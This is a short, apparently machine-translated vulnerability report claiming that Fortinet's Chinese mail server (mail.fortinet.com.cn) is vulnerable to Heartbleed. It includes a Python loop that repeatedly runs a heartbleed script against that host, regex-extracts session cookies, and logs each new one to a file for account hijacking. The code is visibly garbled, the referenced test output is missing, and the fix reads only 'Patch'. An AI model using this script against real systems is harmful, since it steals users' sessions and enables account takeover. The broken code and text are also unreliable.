Fortinet email server can capture account cookies

Fortinet email server can capture account cookies

Fortinet mailbox server url: https://mail.fortinet.com.cn
Vulnerable port: 443
The port has a CVE-2014-0160-heartbleed vulnerability that can read 64 KB of server memory each time
The first is the openssl. py test information:

You can see the account cookie. You can use the following script to continuously capture the cookie:
 

Import osimport reimport timeaccounts = [] while True: result = OS. popen ('openssl. py mail.fortinet.com.cn '). read () matches = re. findall ('session1 = (. *?);. *? OKIE = (Era .*? % 3D % 3D % 0A) ', result) for match in matches: if match not in accounts: accounts. append (match) with open('accounts.txt ', 'A') as inFile: inFile. write (str (match) + '\ n') print 'new Account:', match time. sleep (1.0)

For a short time, there will be three:



Solution:
Patch